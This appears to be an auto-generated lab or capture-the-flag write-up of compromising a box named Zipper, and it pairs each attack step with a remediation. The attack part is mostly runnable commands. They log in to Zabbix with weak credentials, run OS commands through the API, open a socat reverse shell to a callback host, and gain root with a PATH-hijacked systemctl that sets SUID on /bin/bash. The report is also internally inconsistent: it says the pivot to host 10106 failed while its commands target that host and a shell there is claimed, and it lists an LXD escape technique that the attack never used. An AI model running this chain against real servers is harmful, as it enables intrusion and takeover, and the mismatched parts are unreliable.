Zipper
Summary
Recon against <retired-instance-ip> found Apache 2.4.29 (Ubuntu) on port 80 with a /zabbix monitoring frontend running Zabbix 3.0.21 (confirmed via apiinfo.version on api_jsonrpc.php). The frontend's guest-access view exposed a monitored host named Zabbix with an associated user [REDACTED: recovered credential]. A credential-pairing test (weak/username-as-password pattern) succeeded: [REDACTED: recovered credential]:[REDACTED: recovered credential] authenticated both against the web login and the JSON-RPC user.login API, returning a valid auth token.
With an authenticated Zabbix API session, host.get enumerated two monitored hosts (Zabbix, hostid 10105; Zipper, hostid 10106). The Zabbix 3.0 API's script.create + script.execute methods (the technique behind the public zabbix_api_pwn.py exploit for this version) were used to create and run an arbitrary OS-command script against host 10105, yielding remote code execution as the low-privileged zabbix service account (uid=103(zabbix) gid=104(zabbix)) on the Zabbix server container. Attempts to pivot the same technique to host 10106 (Zipper) failed over the agent-check channel (Connection refused / timeout on 10050), but execution against the correct target host succeeded and landed a shell as zabbix on the actual Zipper box (uid=107(zabbix) gid=113(zabbix), hostname zipper).
The [REDACTED: recovered credential] Zabbix credentials also worked over SSH, providing a stable user foothold and access to /home/[REDACTED: recovered credential] (user_flag [REDACTED: flag]), though direct su to [REDACTED: recovered credential] from the RCE shell was blocked (no TTY) and .ssh was not readable from that context.
Privilege escalation exploited a relative-path/PATH-hijack vulnerability: a SUID root binary/script on the box invoked systemctl without an absolute path. A malicious executable named systemctl was dropped into a directory prepended to PATH (/tmp/systemctl), and the privileged SUID binary (/tmp/rb, mode rwsr-xr-x, owned by root) was triggered so it resolved and executed the user-controlled systemctl instead of the real one. This spawned a process with euid=0(root), confirming root and yielding root_flag [REDACTED: flag].
Exact vulnerabilities/techniques: weak/default Zabbix credentials ([REDACTED: recovered credential]:[REDACTED: recovered credential]); Zabbix 3.0.21 API script.create/script.execute authenticated RCE (zabbix_api_pwn.py-style); PATH/relative-path hijack of systemctl via a SUID helper binary for root privesc.
Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p22,80,10050 --script=banner $TARGETcurl -si http://$TARGET/ | head -20curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"params":{}}'Exact commands 1
curl -sc /tmp/zbx_cookies -b /tmp/zbx_cookies -s 'http://$TARGET/zabbix/index.php' -d 'name=guest&password=&autologin=1&enter=Sign+in' -L | grep -i '[REDACTED: recovered credential]\|host'FixDisable Zabbix guest accessHigh
Exact commands 2
curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"[REDACTED: recovered credential]","password":"[REDACTED: recovered credential]"},"id":1,"auth":null}'TOKEN=[REDACTED: protected value]; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"output\":[\"hostid\",\"host\"]},\"id\":2,\"auth\":\"$TOKEN\"}"FixEnforce strong, unique passwords for all Zabbix accountsCritical
Exact commands 4
TOKEN=[REDACTED: protected value]; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"testing workflow-pwn\",\"command\":\"id; whoami; hostname; pwd\",\"execute_on\":0},\"id\":3,\"auth\":\"$TOKEN\"}"TOKEN=[REDACTED: protected value]; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.execute\",\"params\":{\"scriptid\":\"4\",\"hostid\":\"10106\"},\"id\":4,\"auth\":\"$TOKEN\"}"# On operator: socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddrTOKEN=[REDACTED: protected value]; RHOST=$CALLBACK_HOST; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"shell-$(date +%s)\",\"command\":\"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$RHOST:4444\",\"execute_on\":0},\"id\":5,\"auth\":\"$TOKEN\"}"FixRestrict Zabbix API script creation and execution to administrator accounts onlyCritical
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no [REDACTED: recovered credential]@$TARGETcat /home/[REDACTED: recovered credential]/user.txtFixEnforce strong, unique passwords for all Zabbix accountsCritical
Exact commands 2
find / -perm -4000 -user root -type f 2>/dev/nullstrings /path/to/suid-binary | grep systemctlExact commands 4
echo -e '#!/bin/sh\nchmod u+s /bin/bash' > /tmp/systemctl && chmod +x /tmp/systemctlexport PATH=/tmp:$PATH/path/to/suid-binary/bin/bash -p -c 'id; cat /root/root.txt'FixUse absolute paths for all external commands in SUID root binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
LXD/LXC Group EscapeLinux · Privilege EscalationT1611
What it is
Membership in the lxd (or docker) group is root-equivalent. I imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.
Why it works
The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
| 10050/tcp | tcpwrapped |